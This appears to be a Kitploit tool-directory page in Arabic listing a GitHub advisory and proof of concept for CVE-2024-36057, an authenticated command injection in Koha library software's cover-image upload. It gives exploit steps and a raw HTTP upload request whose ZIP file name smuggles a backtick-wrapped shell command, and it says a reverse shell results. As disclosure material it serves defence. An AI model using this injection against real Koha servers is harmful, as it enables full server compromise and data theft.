Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2024-36057 — إشعار استشاري وإثبات المفهوم لـ CVE-2024-36057، وهو حقن أوامر نظام تشغيل مُصادق عليه في برنامج مكتبة كوها (Koha Library Software)، يوضح تنفيذ أوامر عشوائية عبر أسماء ملفات ZIP مُصممة خصيصًا. | Kitploit
أدوات/GitHubGitHub/hacklantic/cve-2024-36057
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراق
GitHubhacklantic/cve-2024-36057

CVE-2024-36057

إشعار استشاري وإثبات المفهوم لـ CVE-2024-36057، وهو حقن أوامر نظام تشغيل مُصادق عليه في برنامج مكتبة كوها (Koha Library Software)، يوضح تنفيذ أوامر عشوائية عبر أسماء ملفات ZIP مُصممة خصيصًا.

عرض المستودع
31منذ 22 أياملم تتم المراجعة بعد
الموقع الإلكتروني

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2024-36057 - برنامج مكتبة Koha < 23.05.10 - حقن أوامر نظام التشغيل

معرّف CVE: CVE-2024-36057
المنتج: برنامج مكتبة Koha
نوع الثغرة: حقن أوامر نظام التشغيل (CWE-78)
درجة CVSS: 9.8 (حرجة)
الإصدارات المتأثرة: أقل من 23.05.10
الفضل: Karolis Narvilas


الوصف

Koha هو نظام مكتبات متكامل مفتوح المصدر. توجد ثغرة حقن أوامر في وظيفة رفع صورة الغلاف في tools/upload-cover-image.pl. يستخدم التطبيق qx/unzip $filename -d $dirname/ لفك ضغط أرشيفات ZIP المرفوعة دون تعقيم معامل اسم الملف.

يمكن لمستخدم مصادق عليه ذي صلاحيات عالية إنشاء ملف ZIP باسم ملف خبيث يحتوي على محارف backtick لحقن أوامر shell عشوائية، والتي تُنفَّذ على جانب الخادم عندما ينقر المستخدم على "Process Images".

التأثير: يمكن لمهاجم مصادق عليه عن بُعد استغلال CVE-2024-36057 لتنفيذ أوامر نظام تشغيل عشوائية على الخادم الأساسي، مما يؤدي إلى اختراق كامل للنظام، وتسريب البيانات، وإنشاء أبواب خلفية دائمة أو reverse shells.


إثبات المفهوم (PoC)

  1. سجّل الدخول إلى Koha كمستخدم ذي صلاحيات عالية.
  2. انتقل إلى: https://{domain}/cgi-bin/koha/tools/upload-cover-image.pl
  3. ارفع ملف ZIP عاديًا، وباستخدام وكيل اعتراض مثل Burp Suite، عدّل اسم الملف كما هو موضح أدناه:

الطلب:

POST /cgi-bin/koha/tools/upload-file.pl?temp=1 HTTP/1.1
Host: {domain}
Cookie: [High-Privilege Session]
Connection: close

------WebKitFormBoundaryP82Da5V6eaQOuBUT
Content-Disposition: form-data; name="file"; filename="execute`<INJECTED_COMMAND>`.zip"
Content-Type: application/x-zip-compressed

<zip file contents>
------WebKitFormBoundaryP82Da5V6eaQOuBUT--

  1. بعد رفع ملف ZIP بنجاح، انقر على "Process Images".
  2. يُنفَّذ الأمر المحقون داخل محارف backtick على جانب الخادم. في هذا المثال، يتم إنشاء reverse shell على الجهاز الهدف.

Reverse Shell PoC


المراجع

  • MITRE - CVE-2024-36057
  • Hacklantic
تنزيل الأداة